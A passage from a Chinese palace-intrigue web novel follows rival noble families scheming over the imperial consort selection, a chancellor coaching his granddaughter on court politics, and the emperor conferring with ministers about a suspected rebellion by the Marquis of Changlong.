佟梦娴和这三十名奴婢俱不可思议,这些奴婢中还有近半数原是跟着佟梦姿在霍家的,盘算着若是回霍家没指望了还不如来晏家,谁想当夜来晏家就闹出这种事来,谁能认啊?!争先恐后撺掇,甚至不用他们撺掇,佟梦娴的怒火就在蹭蹭蹭往上飙。 她就没想过她今夜回到晏家后还会被压制,明确晏墉不会休她后,她白日里有过的那点害怕早抛到九霄云外了,她状告亲儿不孝在她心里眼里脑子里当然都不用她负担什么,何况她心里还有那么点隐秘的得意,瞧那俩妹妹的窝囊样,佟家最后还不是要靠她。 佟梦娴无视掉侄儿带奴婢们往府里去,她还要忙着连夜去教训那孽障呢。 可她无视晏煦之能抵什么用,否则她还会被拦阻在照壁前吗?桓炜彤抬手按按太阳穴,护卫们快步追上去把这群佟家来的奴婢打趴下,同时把这位佟太太押走,王爷传令府中对她不再称王妃只称太太的命令刚下达就在顷刻间传遍王府了。 照壁前唯留佟梦娴愤怒的吼叫谩骂声盘旋及至越飘越远,在安静的夜里如此刺耳。 桓炜彤领着婢女们跟去佟氏院里向她转述她今后在晏家的生活,护卫们拿着麻绳把从佟家来的外来奴婢悉数绑起来,这群奴婢又惊又慌连想逃跑的都没逃掉。 晏煦之再让推两辆板车来把他们全部装板车里,送至佟家大宅前,让护卫们卸货。 所谓卸货,就是把板车侧翻一倒倒出来,随他们叠罗汉还是叠馒头就那么放着。 “告诉佟尚书别再往晏家塞眼线了,他不嫌来回折腾麻烦,我们嫌。还想拿捏晏家至少该在佟家真有位佟娘娘还有位被册为储君的外孙之后而不是仅靠着佟家的空想就真当佟家高高在上,要不然,只怕佟家人在京畿连白日梦都没得做了。” 晏煦之骑在马上都没下马,放下话,他即带着随行的护卫们离去。 佟家府门前的家丁看着这群被绑得像麻花似的奴婢忽然打冷颤,一个时辰前,这群人出府时还鼻孔朝天嫌英王妃原来的陪嫁奴婢不中用,想他们要在晏家吃香喝辣的。 小厮再打个哆嗦,忙去向老太爷禀告,佟图匡闻讯亲自来到府门前,借着昏暗的烛光,他盯着这群东倒西歪甚至有些还叠挤作堆的奴婢们渐渐眼神发直,他不信他捏不住晏家,可还是有股恐慌和冷意在脊梁里蹿起,下意识想,晏墉终于不打算再装了吗? 一只麻袋飞来摔在叠罗汉的奴婢们身上痛得被砸到的几人嗷嗷直叫,佟图匡被惊扰抬头,看见霍雄鹰骑在高头大马上,霍雄鹰昂首挺胸,就差用下巴告诫了。 “看好你家佟振羽不要再跑我霍家大宅外偷偷摸摸鬼鬼祟祟的,这回姑且念他是为他那两个还在霍家的小妾,事出有因,算了。你告诉他,他那两个小妾都决定跟他斩断过往,拿银两去自谋生路,让他不要再来霍府外鬼祟,否则别怪我霍家不客气。” 佟图匡看着霍雄鹰没搭话,霍雄鹰才懒得管佟老头啥反应,撂下话就带护卫们走。 小厮迟疑地看眼老太爷,走过去奴婢堆里解开麻袋,一股酸腐味混着熏鼻的酒味冲来刺得他直想作呕,小厮咬咬嘴巴忍住恶心,看清楚后对老太爷回禀:“真是表少爷。” 佟图匡大步走到麻袋前,见果然是在佟家找不着的人,还已烂醉如泥不省人事。 星月渐隐,夜深人静时,晏煦之回到晏家,还想着见过大伯之后去跟堂哥打声招呼,不想叔公和堂伯他们都回了,这哥反而突然出现在书房里了。晏霁之道:“我收到消息,佟家为佟妙兮的选秀连夜备厚礼送去建威侯府,建威侯夫妇收下了。” “……”晏煦之直觉反应想佟家人真不长脑吗,今日闹成这样还认为佟妙兮有望入选?想质疑时被自己刹住,佟家人做白日梦做得都疯魔了,这事是佟家人能做的。 “郭皇后明年正月辞位,佟家是在魂游天外么连这个都不知道,给翊善伯府送礼都强过建威侯府吧。况且佟家都想到送礼了怎么不找陛下,有陛下的准话才最有保障吧。” “没想求皇帝的准话切合他们的臆想,佟妙兮还是个姑娘家,佟家老少就已深信不疑她将来要做娘娘,在佟家的考量里自然是想当然地排除掉皇帝的想法了。给建威侯府送礼也有迹可循,没听闻皇宫的消息么,令愔夫人近来在给皇后鞍前马后。” 晏霁之提醒:“郭皇后捏着后宫最得宠的妃子,翊善伯府还能有得比吗?” “哎,你说到令愔夫人最近这事,我真有些想不通了。”晏煦之怀疑:“这娘娘到底是想博名声还是想跟霍家硬刚,按她当前这博名声法可差不多是在找死了。 皇宫里最不会少的就是宠妃,霍家还没倒,她就敢明火执仗地跟霍家作对,霍太后还能留着她吗?活生生的例子还在她眼前,陛下难不成还能为她就和养母翻脸吗?甚至于,她的两个小皇子将来能长成什么样都捏在霍贵妃手心里,她不会都不懂吧?” “恻隐之心泛滥,想做好人好事吧。”晏霁之无意多谈,转入正事:“佟家还有个消息,佟尚书今夜拿定主意要在他死后把佟家交给佟梦骜,或许可以给山西巡抚送份礼,山西巡抚要参奏佟梦骜私挖铜矿若是有佟梦奭襄助必然是如虎添翼。” “私挖铜矿可是死罪。”晏煦之持保留态度:“佟梦奭能想把亲弟弄死?” “佟家出此大变故,我预计佟梦骜会亲自赶来京畿要做和事佬。”晏霁之淡笑道:“既然你有疑虑,佟梦骜若是来京约我会面,不如你带着佟梦奭在暗中做个见证?” 晏煦之爽快:“行,要是我赌输了,我最近得的火珊瑚送给你。” 霍雄鹰亦是刚回到家就撞上佟梦奭夫妇给建威侯府送礼的消息,他都懒得嫌恶佟家了,只骂建威侯府:“活像他们没活过今日似的,都知道佟家才是教唆佟蓁蓁娘仨的始作俑者了竟然也能收佟家的礼,他家还是不要做人了做缩头乌龟吧,反正都比乌龟还扁了……” 而在薛家,薛侍郎很能理解建威侯收佟家礼的依据:“是不想相信霍家,怀疑霍家故意想把皇后和大皇子的恨转嫁给佟家,还想给皇后在宫里多找个帮手吧。” “爹,那霍家是在扯谎呢还是没冤枉佟家呀?”年二十五岁的薛二爷想不好。 “霍家当然没冤枉佟家。”薛述嘉嘲笑堂兄:“二哥你这有什么想不通,虽然霍家的风评比我们薛家还要差,但霍家至少比我们薛家坏得还坦荡,你见谁骂过霍家虚伪吗? 何况人家好歹是当朝第一豪族,有傲气的,要是我我都不屑冤枉佟家,我都敢作敢当,霍海啸绝对够汉子还能连我都不如吗?霍家是风评差又不是没风骨没傲气没实力,但风评这种东西,朝中很多人都眼瞎,我们坦荡荡得还能不如那些伪君子吗?” 薛述聪觑觑亲弟,意有所指道:“我发现你近来对霍家好感飙升。” “大哥你别血口喷人啊你,我明明就事论事而已。”薛述嘉死鸭子嘴硬。 “好了,”显国公打断道:“陛下送大皇子去魏王府小住的意思,晋王懂吧?” “就是个想让晋王往里跳的陷阱,晋王看得懂,爹您放心吧。”薛述聪没当回事儿。 “怕就怕庄太妃明知是陷阱都自负她能游刃有余,要往里跳。”显国公顾虑道:“你明日去跟你妹夫讲清楚,让他必须确保庄太妃没有妄动之意,否则晋王府必定伤筋动骨。” 薛述聪应下,显国公再交代:“明早传个令下去,凡在我薛门麾下,今后遇令愔夫人的娘家人不必再对他们特意谦让,令愔夫人前程已定,止步从一品。” “爹您没瞎蒙吧?”薛述嘉不大相信:“宫里可都传令愔夫人会是陛下的第三任皇后,令愔夫人有两个皇子还圣眷正浓,没那么容易失宠吧,可能止步于从一品吗?” 显国公看向薛述聪,有考教的意味了,薛述聪思忖道:“令愔夫人这几天在闹着陛下要给皇后的妹妹们求三个高位嫔妃位,陛下昨夜在钟萃宫了都被她闹走就是个讯号,陛下也嫌她吃相难看,这娘娘盯着要给自己铺路恐怕只会让陛下越来越烦她。 这回的秀女名单上还有令愔夫人的庶妹,不管是这娘娘自己的意思还是荆湖巡抚的意思,暴露出的都是他们家轻狂浅薄急功近利甚至不知死活,用霍海啸的话说,连藏都不会。 霍贵妃正磨刀霍霍呢,她育有两个皇子还是最得宠的妃子就已经够招眼了,宫里盛传她会是陛下的第三任皇后对她更是危险,她竟然非但不缩起尾巴做人避着霍贵妃的锋芒还专门在霍贵妃眼皮底下上蹿下跳,这是嫌霍贵妃捏不死她吗?” 薛述嘉了然,薛二爷还是有点小疑惑:“可是大哥,令愔夫人有两位皇子,而且是皇次子和皇三子,将来若是霍贵妃晋位,贵妃位空出来,就凭这两位皇子,哪怕陛下烦她了,哪怕是为制衡霍家和霍皇后,令愔夫人都不至于够不到贵妃的位置吧?” “十二年前庄淑妃诞育过两儿两女,楚王不仅是皇次子,圣人还有意捧他,又如何?”薛述聪尚未作答,显国公蔑笑:“圣人册立继后时,庄淑妃自信满满以为定能晋位正一品,可惜啊,任她如何望眼欲穿,她熬到做太妃都没沾过贵妃位的边儿。 令愔夫人连做宠妃都做不好,陛下还能想用她来制衡霍家吗?况且,霍贵妃晋位后不会想看到再出位贵妃,人到底是陛下自己选的,陛下完全能封霍灵渠做个普通的妃子,可陛下还是把贵妃位给她了。将来,在霍皇后有生之年,陛下不会再封贵妃了。” “大哥你怀疑陛下对霍家还有情义?”薛侍郎皱眉:“倘若还得顾及陛下将来或有可能不忍心把霍家拔起,我们对霍家的态度可得全变,再者,四姑娘进宫后的前程?” “进什么宫啊,母亲和平原瞎折腾,你也跟她们起哄?”显国公莫名有点烦。 “爹你是说四妹会被霍贵妃刷下来?”薛述嘉为彰显自己的立场还表现出了气愤。 “是陛下没想多选。”显国公耐着性子教道:“霍贵妃新封,勋贵 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家族在后宫有没有位娘娘不重要,重要的是家族子弟要在前朝站稳,懂吗?” 薛述嘉连连拍胸保证,心里真觉得有点怪,他爹怎么好像很急切的样子,急啥呢? 他不懂,薛侍郎和薛述聪也想不通,若是班丞相在,班丞相大概就能猜出几分,是因为霍家,显国公有多想取霍家而代之,他就能因与霍家的差距有多大而多焦虑。 夜的静籁漆黑提示着熬夜的人们该当睡眠时,相府书房中,班丞相阖上书卷捏捏眉心,看向仍然端坐抄书的孙女,把孙女唤过来问:“抄几遍了,懂祖父的意思了吗?” “禀祖父,孙女已经默写《三字经》二十七遍。”班落矜声音清脆,丝毫未见有困意:“孙女已懂得祖父的教诲,您要告诉我的是,养不教,父之过,霍贵妃白日里未明言之意,您想让我自己领悟霍贵妃不是泛泛之辈,还想借此打消我想入宫的念头。” “祖父之前明白告诉过你,陛下无意选班家的姑娘,你还非要试一试,祖父也随你,但今日看霍家种种,祖父给你多说两句也未有不可。”班丞相问:“为何在祖父已明确你不会被选中的情况下还要参选,你莫非以为陛下见到你以后还会改主意吗?” “陛下何以不想选班家的姑娘,班家的姑娘是哪里比人差了吗?”班落矜不服气。 “真是个小丫头稚气未脱,你个十六岁的大姑娘还像个十来岁的小姑娘,该吗?” “我知道陛下最看重的是谁家对他有用,我不否认,我想进宫就是奔着凤位,做皇后,几人不向往呀,我不觉得我的想法有什么不可以。陛下要制衡霍家,用班家不是正好么,我进宫对我自己对班家对陛下不是三全其美么,陛下为何不选班家的姑娘?” “知道宫中怎样传令愔夫人的前程吧,你能争得过她?”班丞相顺其自然问。 “后宫中最惹人注目的难道会是郭皇后吗?当然是令愔夫人,令愔夫人什么都不做都可能会被贵妃视作眼中钉,她竟还主动招霍贵妃的敌对,她还能有前程吗?”班落矜自信道:“轮不到我出手,霍贵妃自会让她失宠乃至让陛下厌弃她。” “那么你觉得令愔夫人近日作为对她最大的影响是什么?”班丞相再考问。 班落矜刚想回答时意识到祖父的问题有问题呀:“祖父,令愔夫人和她的两个小皇子本就是霍贵妃的眼中钉肉中刺,她们是不是撕破脸都不影响霍贵妃对她的戒心吧。” “所以你答错了。”班丞相推出结论,班落矜反对:“是祖父的问题有问题。” “是你在高看自己,在轻视霍家和祖父。”班丞相耐心给孙女剖析:“你脱口而出说令愔夫人和她的两位皇子是霍贵妃的眼中钉肉中刺时有没有想过你凭什么这么断定,陛下还不到三十岁,将来还会有多少宠妃和皇子,贵妃难道要全部针对吗? 霍家的格局若是这么小的话还能稳坐当朝第一豪族的位置吗?什么是眼中钉肉中刺,是欲除之而不得,你既然认为霍贵妃能让令愔夫人失宠,你自己的话不都自相矛盾吗,你再想想明年皇宫中是少一位娘娘还是少两位娘娘对霍贵妃是不是都是顺手的事?” 班落矜困惑:“好像是啊,难道霍贵妃没把令愔夫人看在眼里吗?” “是没什么不同,令愔夫人比之宫中的低位嫔御,对霍贵妃没什么不同。” “那?”班落矜不解:“那令愔夫人最近的作为对她还能有什么最大的影响?” “朝中有多少聪明人啊。”班丞相笑:“朝堂中谁都看好这位娘娘大有前途与没人看好她能相提并论吗?祖父将下令,凡在我班家门下,今后遇令愔夫人的娘家人不必再有意礼让,祖父还能断定这类号令近日会陆续传出京,这会是什么影响?” 小姑娘掩唇惊呼:“祖父你是说会影响二皇子和三皇子的将来?”她有点不可思议:“能有这么大的影响吗?而且我们家以前对令愔夫人的娘家人是在刻意礼让吗?” “不只我们家,霍家,晏家,薛家,谁家不是?昌隆侯那般狂妄都没强压过荆湖巡抚,何故啊,因为荆湖巡抚是令愔夫人的父亲,大家看好这位娘娘有前途,不至于奉承,但能礼让的都会客气许多。”班丞相话未尽,他孙女怀疑:“霍家也会礼让吗?” “哎呀你个小丫头啊,你看人看事就只能看到最浅的吗?”班丞相无奈:“祖父问你,陛下不选班家的姑娘自是有陛下的缘由,你能猜出是何缘由吗?” “祖父欺负人,我若能想得通,今夜还有这么多话吗?”班落矜理直气壮,相爷数落:“是啊,连这么浅显的事都没看懂还觉得自己多厉害,你羞不羞啊,太上皇还没放掉大权,你若是成陛下的嫔御,让太上皇怎么想,班家夹着中间又该有多难做?” 班落矜反驳:“同样的境况,到咱家若是会变得这么难,霍家怎敢争后位?” “怎么能用争字,谁不知他家在强抢。”班丞相乐呵呵:“你能去抢吗?” “……”小姑娘语塞,认真思索会儿后越想越不可思议,她震惊了:“祖父,你的意思是霍家这强抢的手段反而是维持了他们家在陛下和太上皇之间的平衡吗?” 班丞相笑了:“你自己觉得呢,霍家想出位霍皇后该怎样在太上皇面前表衷心?” 班落矜爽利道:“我觉得霍家想要后位就错了,太上皇在世,霍家投机取巧或许有用,可陛下将来握有大权之后还能不清算霍家的羞辱吗?” “嗯,霍家想要后位就错了,你肖想后位就没什么不可以?”班丞相喝口茶,拿孙女自个儿的话堵她,班落矜振振有词:“我又没有羞辱陛下,我愿意从低位嫔御慢慢熬起啊,圣人自愿禅位给陛下,我进宫怎么可能会害班家在太上皇面前难做?” “一夕间朝中多人不再看好令愔夫人,根源在哪啊?”班丞相跳个话题,他孙女奇怪:“不就是令愔夫人近来在帮皇后的妹妹们求高位嫔妃位吗,还能有其他事吗?” “若仅是此事,朝中必会再观望,不会轻易论断。”班丞相没绕弯,自答道:“是这回的秀女名单上有令愔夫人的庶妹,让大家把荆湖巡抚的底给看透了。”相爷气笑了:“令愔夫人正是要避霍贵妃锋芒之际他给送个庶女来,他这个当家人还长不长脑? 椒房殿活生生的例就在他们父女眼前都看不懂,谁还能相信令愔夫人有前途?” “只因秀女名单上有令愔夫人的庶妹吗?”班落矜不赞同:“祖父你过于武断了吧,或许荆湖巡抚他们觉得令愔夫人是陛下最宠的妃子……”她自己言霍贵妃能让令愔夫人失宠,她的辩驳是自相矛盾,她真说不出什么感觉:“见微知著,如此犀利吗?” “今夜,佟家因明日的选秀特意连夜给建威侯府送礼,建威侯收下了。”班丞相未回应而是再跳话题:“依你看,建威侯府收下佟家的礼对他们最大的影响是什么?” 班落矜有些迷糊,思量会儿摇头:“孙女不觉得此事对建威侯府会有影响。” 丞相意味深长道:“嫡长皇子当然尊贵,可若是废后之子还能尊贵吗?” 十六岁的小姑娘被祖父吓得,双手捂唇倒吸凉气,难以置信道:“祖、祖父,你、你,你是说……可,可郭皇后明年正月就要辞位了,霍家都容不下吗?” “什么叫霍家容不下,你哪儿来的那么多想当然的想法,人的路都是自己走出来的,你做人做事倘若只会以偏概全,你自己就把你自己落在下乘了!” 班丞相倏然拍桌怒训:“霍贵妃进宫还不到两个月,霍贵妃没有主动出手,椒房殿已经向霍贵妃挑衅过几回了?形势比人强,要么认命求全要么蛰伏以待将来,可郭家在做什么,郭家今夜连佟家的礼都能收啊,这是上赶着要把霍家留的亲戚情份磨干净吗?” 班落矜抿唇低眸,眼底已有黯然之色。班丞相端着茶盅喝两口茶,缓和道:“矜姐儿,做人,眼界要大,但做事,往往起于细微处。祖父毕竟在相位,陛下不想让圣人多想,你该当要明白不管是你养在闺中时还是将来出阁后,最要不得的是意气用事。” 于细微处……倘若一个秀女就能断送大臣们对令愔夫人前程的看好,她是丞相的孙女,班落矜原以为自己会有些凝重沉闷的心情豁然舒朗,乖乖应过再谢祖父教诲。 班丞相让孙女回去休息吧,小姑娘亦叮咛过祖父后告退,屋外的夜黑得像浓浓的墨汁,她忽就想到,白日里再轰轰烈烈的喧嚣在这万籁俱静的深夜里也归于沉寂了。 107. 第107章 清早,朝阳的金芒刚刺破云层,参与采选的两百名秀女已列队候在皇宫昭德门外。 马车在昭德门前停驻,建威侯夫人走下车,瞧过排队候着的秀女们,轻车熟路进皇宫,赶到椒房殿时还和赖嬷嬷打了个照面。按目的地算,建威侯夫人的目的地是皇后的椒房殿,赖嬷嬷的目的地是采选的伊人殿,建威侯夫人清早进宫来都比赖嬷嬷早到目的地。 建威侯夫人对着赖嬷嬷离开的身影忍不住皱眉,就劝皇后,赖嬷嬷是个奴婢,不要纵得赖嬷嬷太懒怠。给女儿把事情交代好,想去找令愔夫人时被个宫婢扯着悄声向她禀告件事,她猛地被激起心头火:“昨夜,昨夜十五,陛下又没来椒房殿?” 郭皇后随意嗯声,没当回事,长春宫立规矩立个没完了还没立完,皇帝又迟迟不肯给她要的位份,她都嫌烦死了哪还有心情管皇帝来不来椒房殿。 “娘娘,皇宫里全是群捧高踩低的,陛下若是总不来椒房殿,那些宫人就敢胆大包天地欺到椒房殿头上,您不能不当回事啊。”不同于皇后女儿的浑不在意,建威侯夫人可真是又气恨又急迫又心焦:“陛下上次宿在椒房殿还是二月初一,这都两个半月了。 您数数,单四月以来,令愔夫人、喻秀仪、倪芳华谁没侍寝过,陛下都宿在拾翠阁两夜了,可陛下连椒房殿的门槛都没进来过,初一没来,您的千秋日没来,昨夜十五又没来!”建威侯夫人算算差点没控制住要恨皇帝分明在故意冷待皇后,好险及时转过弯。 “娘娘您真不能再放任了,便是为大皇子和二公主,您也不能和陛下不见面啊。” 郭皇后不耐烦地敷衍母亲说知道了,建威侯夫人看皇后这样就知道女儿就没听进去,只能再好声哄着,哄得差不多后她即去找令愔夫人,未料令愔夫人已经赶往皇极宫。 令愔夫人真心想帮郭皇后和两位嫡皇嗣就没想过退缩,一早来到皇极宫前求见陛下,她打算好可能会触怒陛下了,只要能给两位小殿下争取到妥帖的养母就是值得的。 她静候两刻钟,御前总管蒋厚运领着宫婢们出来传口谕:“娘娘,陛下请您随曲莲姑娘前往皇极宫的小佛堂诵经宁神静气,该见您的时候,陛下自会去见您。” “好,多谢大总管,有劳曲莲姑娘了。”令愔夫人顺从地随伺候在御前的大宫女走。 晏霁之撞见这幕场景,搭个腔:“大总管,令愔夫人这是想帮皇后娘娘的娘家妹妹们争高位嫔妃位还想求陛下允准明年让她们照料大皇子和二公主?” “是呀。”蒋厚运都没藏着糟心,令愔夫人再想博名声也不能这么没分寸,唉。 “您要出皇极宫办事?”晏霁之顺口问道,蒋厚运恢复油滑地笑起来:“是呀,今儿个负责初选事宜的赖嬷嬷近五十岁的老人了,贵妃担心赖嬷嬷眼神不好,特意传话来让奴婢和长春宫的陶姑姑去照看,省得秀女初选就闹出笑话来。” 蒋厚运又指名小太监笑说:“陛下在朝晖殿等着世子呢,您随小游子过去吧。” 晏霁之略略颔首谢过,随引路的小太监去往朝晖殿见皇帝。 天高云阔,晨间的清新感仿佛能熨帖进人心坎里,朝晖殿的巨型露台上,正徽帝嬴忱璧靠着软塌在听曲乐,见晏霁之来了,皇帝把伶人和宫人全部屏退,示意晏霁之坐吧。 皇帝的右侧摆着两副座椅案几、左侧摆有一副,晏霁之走向皇帝的右侧,刚落座,一封信笺甩在他眼前,他看眼皇帝,拆开信封取出信纸来看,浏览过,他不禁皱眉。 “四天前,在去慈寿宫拿交代时朕派下的暗卫,朕想着或许会有收获,但朕真的没想到居然能得到这样的收获,朕思量几日还是决定在送给太上皇之前先给你们看看。” 嬴忱璧恭维:“我这个皇帝可真是太过低看昌隆侯了,他岂止是敢害北地的将领,他连蜀王都敢害,还是个连朱家出身的太妃都是副浑然不把亲王看在眼里的狂悖?!” 晏霁之拧眉未语,正徽帝嬴忱璧眼底肃杀,冷峻的龙颜似有冰霜覆盖又似有火在燃烧:“倘若朕和太上皇只是嫌昌隆侯府太过不成体统要约束朱家,会怎么样?” 沉默几息时间,晏霁之直言揣测:“昌隆侯八成要造反。” “是啊!”皇帝同意,否则如何能如此愤怒:“朕当真是眼拙,倘若朕和太上皇仍然任由昌隆侯恣意妄为,过几年他准备就绪后焉能不反?怕是昌隆侯早几年就在做皇帝梦了,朕真是眼拙啊居然登基四年多都没察觉到他已经权欲膨胀地要造反了。” “陛下言重了,昌隆侯府虽然十多年来享尽太上皇的恩宠,根基到底还差得远,谁能想到他和晋王搅和是想把晋王当踏脚石,以老穆国公七十年的锐利恐怕都不敢下定论,陛下还不到三十岁还很年轻,没察觉实属正常,犯不着因此就和自己生气。” 嬴忱璧嗯声,倒杯酒饮下,沉吟道:“朕在想该让昌隆侯怎么死,你觉得呢?” 晏霁之眼神渐凝,迟疑会儿仍答:“让他死得对国家最有价值。” “对国家最有价值?”皇帝嬴忱璧愣下,猛然间有种醍醐灌顶之感,皇帝缓过惊喜感,看向眼前的臣子,不禁感慨:“霁之,你是真惊才绝艳。” “臣惭愧,陛下一时当局者迷而已。”晏霁之低眉,嬴忱璧摆摆手,冷笑道:“一百年,不过是才过一百年而已,朕在立国百年之际清查丈量全国耕地竟然能比建国时少一万万亩,这群趴在国家身上吸血的贪官富绅豪强贪腐侵占瞒报土地该有多严重啊!” 晏霁之垂眸掩住眼底的复杂,想,有前世今生对嬴忱璧是很大的幸运吧,嬴忱璧前世接过皇位时的国家已濒临积重难返的边缘,对内就能耗尽他多半心血,难再开疆拓土;今生,嬴忱璧足以能打造出他想要的盛世,这是雄心勃勃的帝王的大幸。 “陛下,若昌隆侯真有反意,安西的铁骑会否真的已经被他染指了?”晏霁之忧虑道:“除南北前线的将士外,朝廷最能打的军队是镇守西北的铁骑,他若想要军队,他会看中哪里的军队显而易见,何况安西和江南若对京畿成合围之势?” “朕知道。”嬴忱璧眼底杀气闪逝,晏霁之执起案几上的酒壶倒杯酒喝,饮下两杯,向皇帝求证件事:“陛下,鞠太妃曾怀过两胎还是三胎,您有数吗?” “嗯?”嬴忱璧愣下,回想道:“是……”皇帝还没报出答案,晏霁之就道:“是三胎,鞠太妃在授康十六年生的公主早夭未齿序,在授康十六年以前她曾小产,庄太妃说的鞠太妃跟你朱家这两笔账是指鞠太妃怀的前两胎并不包括鞠太妃的十皇子。” “你觉得圣人有数吗?”嬴忱璧再倒杯酒喝,有一丝唏嘘。 “应该有数,否则吴王这几个小的哪来的?”晏霁之猜:“太上皇隔两三年警告回,朱家收敛些,隔几年总能有位皇嗣降生了,太上皇就愿意睁只眼闭只眼了吧。” 霍海啸踏着吧字走上巨型露台,晏霁之看向他,想,第三位应该是班丞相吧,皇帝是故意把他们错开的吧,很巧,霍海啸一眼打量过眼前的情形后也是这么想的。 来到御前行礼问安,得免礼赐座后,霍海啸走向皇帝的右侧,在晏霁之旁边落座,他刚坐下即被晏霁之递封信笺过来,他展开信纸看遍,神情微变:“昌隆侯要造反?” 闻言,皇帝嬴忱璧和晏霁之同时注视他,晏霁之褒奖:“你真果决,我和陛下还是七成八成有可能的猜,到你那儿就十成十了,你就不怕过于武断猜错了?” “昌隆侯敢想让蜀王死在北疆的战场上,敢威逼晋王要拿晋王的把柄,连个朱家出来的太妃都是目中无亲王的德行,昌隆侯已经狂妄成什么样,他还能容忍将来被晋王压着吗?”霍海啸顺理成章推测:“他们若是能兵临京畿,他必是要踩着晋王上位啊。” “对,有道理。”晏霁之附议:“手起刀落当机立断,海啸你的确够利落。” “你和陛下议过朝堂重臣中可能会被昌隆侯拉拢的人家吗?”霍海啸直切靶心,晏霁之瞬间脑海中闪过个他自己都有点怀疑的念头:“你不是在指向武襄侯府吧?” “朕同样想到武襄侯府了。”嬴忱璧都想怀疑自己多心了,不是他有疑心病就好,皇帝颇有点感喟:“看来朕不是独个儿,海啸是在针对武襄侯府吧?” 晏霁之倒杯酒喝,霍海啸正色道:“禀陛下,臣没有针对谁,臣只是推测昌隆侯完全做得出拿侯瞻渥的媳妇来利用他,侯瞻渥会不会被利用又会不会把整个武襄侯府都卷进去,臣不敢妄言,但臣心中的确是相信显国公府的坚定多于武襄侯府。” 皇帝嬴忱璧眼神微闪,晏霁之握酒杯的手微滞,霍海啸忧虑得不是没道理啊。 “侯瞻渥近日如何?”皇帝问,昨日刚得讯仍然再问遍,霍海啸禀道:“很闹腾,四天前武襄侯将幼子接回府后要责打四十大板,被升平大长公主拦住,只打了几板子。 如此疼爱幼儿的父母会把侯瞻渥纵容成什么样,臣是预估不出来了,但臣相信,侯瞻渥养好伤后必会再闹着要找他媳妇,武襄侯只怕仍然不会动真格管。” 皇帝眼神微暗,声音略有轻忽:“依海啸看,对昌隆侯,第一步该怎么做?” “禀陛下,昌隆侯若想造反就必须有足够的兵力,举国他最有可能染指的军队,臣推测应该是镇守安西的铁骑。”霍海啸建议道:“臣以为应将安西的将领全部撤换。” 正徽帝嬴忱璧未置可否,幽幽道:“倘若有足够的兵力,昌隆侯敢不敢反?” 一丝危险气息飘过,晏霁之若浑然未觉,霍海啸颔首保持恭谨,嬴忱璧看眼他们,问:“朕想在今年上半年在江南和淮南两地再划出座行省,你们以为如何?” “禀陛下,您若想再规划座行省,臣以为不如动广南或西北。”晏霁之顾虑道。 “广南?”嬴忱璧凤眸微眯,念两遍后笑起来:“不错,的确是动广南和西北更妥当。”皇帝再转向霍海啸,好似就等着他给出合皇帝心意的答案:“昌隆侯这两年在闹着圣人要把福建总兵换人,圣人还没应允,朕愿意成全他,海啸以为该换成谁?” 霍海啸报出皇帝想的既定人选:“派圣人近十年来最重用的武将,臧芣缄。” 皇帝笑了:“海啸果然有统帅风范,这保管是个让太上皇和昌隆侯都满意的人选。” 班丞相姗姗来迟,见到竟然是这么两个年轻人陪着皇帝,有点眼晕,全召老臣是大事,传召的都是年轻人应该没大事,但这样的组合,他直觉就没好事啊。 待接过密报一看,班丞相眼冒金星,这是要疯了吧:“陛下,这,这这……” “两位世子看见时可平静得很,丞相可不能比两个小辈都不如啊。”皇帝打趣。 班丞相哪还有心情玩笑:“陛下,兹事体大啊,依密报中的情形,老臣都不敢猜昌隆侯的企图了,对昌隆侯府朱家恐怕更是已到不得不辖制的地步了,可您还有佐证吗?圣人恩宠爱重外祖家甚笃,仅凭这封密报,老臣唯恐不能劝动圣人啊。” “朕会亲自和圣人谈,此事,丞相不必禀告圣人了。”皇帝交代,班丞相应是,心里可没因此而有丝毫轻快,皇帝亲自和太上皇谈,谈崩就容易闹僵,闹僵一回,朝堂的平稳就得少一分,何况昌隆侯八成真要出大事了,天爷啊,昌隆侯嫌活腻了是吧。 “朕记得先昌隆侯的原配在授康十年病故,授康十一年,先昌隆侯在五十五岁时把现任昌隆侯的生母扶正。”皇帝仿佛很好奇:“五十五岁高龄有必要再扶正个妾室吗?” 班丞相瞟瞟那两个年轻人都耳聋似的故意欺负他这个老头,只能出头回禀:“禀陛下,据说昌隆侯自幼深得父亲疼爱,先昌隆侯想给他个嫡子身份好多给他些家产。” “是吗?”皇帝恭维:“那么昌隆侯当真好本事了,把家族和爵位都收入囊中了。” 班丞相没接话,皇帝再问:“先昌隆侯的嫡长子是授康十五年病逝的吧?” 得到肯定,皇帝似笑非笑:“朱家的猖獗就是在现任昌隆侯手中疯长起来的,朕倒是真猜不出昌隆侯到底是从少年时就是个猖狂的还是他争到爵位后太高兴性情突变了?” 班丞相心中微凛,低眉顺眼道:“陛下恕罪,老臣猜不出来。” “先昌隆侯的原配在53岁病故,这年纪老死还算正常,但依照这老夫人死后的情形,朕就觉得有些诡异了。”皇帝眼神犀利:“会否昌隆侯少年时就觊觎爵位,但他忍了十几年,忍到嫡母和嫡兄都相信他没有野心、在嫡母足够老的时候出手? 53岁的嫡母看似正常老死,没人怀疑;他蛊惑他父亲将他生母扶正,没人阻拦,接下来就该是嫡兄病逝了;嫡长兄病逝后父亲垂垂老矣,大侄子年轻、嫡次兄纨绔,哪怕他显出野心来也没人能再阻挡他,故而是他拿到爵位执掌朱家,丞相以为如何?” “老臣惶恐。”班丞相含糊道:“老臣只听闻昌隆侯的生母是个跋扈的老太太。” 皇帝看他眼,哼笑:“丞相猜先昌隆侯在嫡长子死后可有察觉,泉下有知会后悔吗?” 班丞相再沉默以对,皇帝收起笑意冷然下令:“朕要个准话,丞相去查清楚,先昌隆侯的原配和嫡长子是否死得不寻常,不要惊动任何人,不必禀告太上皇。” 这就是在逼班丞相做偏向了,一旦有了偏向,将来的偏向只会越来越多,可班丞相能拒绝吗?能阳奉阴违悄悄禀告太上皇吗?除非他不想要班家的将来了,否则就得认。 旁观的两位很平淡,班丞相没有异样地应,心底不知是发苦还是有点如释重负。 “整饬江南,预计能收缴到多少钱粮充盈国库?”皇帝转向年轻的两名臣子。 晏霁之报三百万贯,霍海啸比他强点报四百万贯,皇帝再看向丞相,班丞相有点头大:“老臣以为两位世子年轻气盛,报得夸大了,老臣预估是一百万贯。” 皇帝乐了:“授康年间国库每年收入少则五千万贯,多则六七千万贯,朕登基以来每年国库收入都不足两千万贯,丞相是真不夸大啊。”皇帝转瞬间冷脸报个数:“朕要一千万贯送进京畿。”吓得班丞相哆嗦下差点想死谏时皇帝又问:“全国现有多少荒地?” 班丞相真感觉他心脏波动起伏地有点大啊:“禀陛下,是八十万亩。” 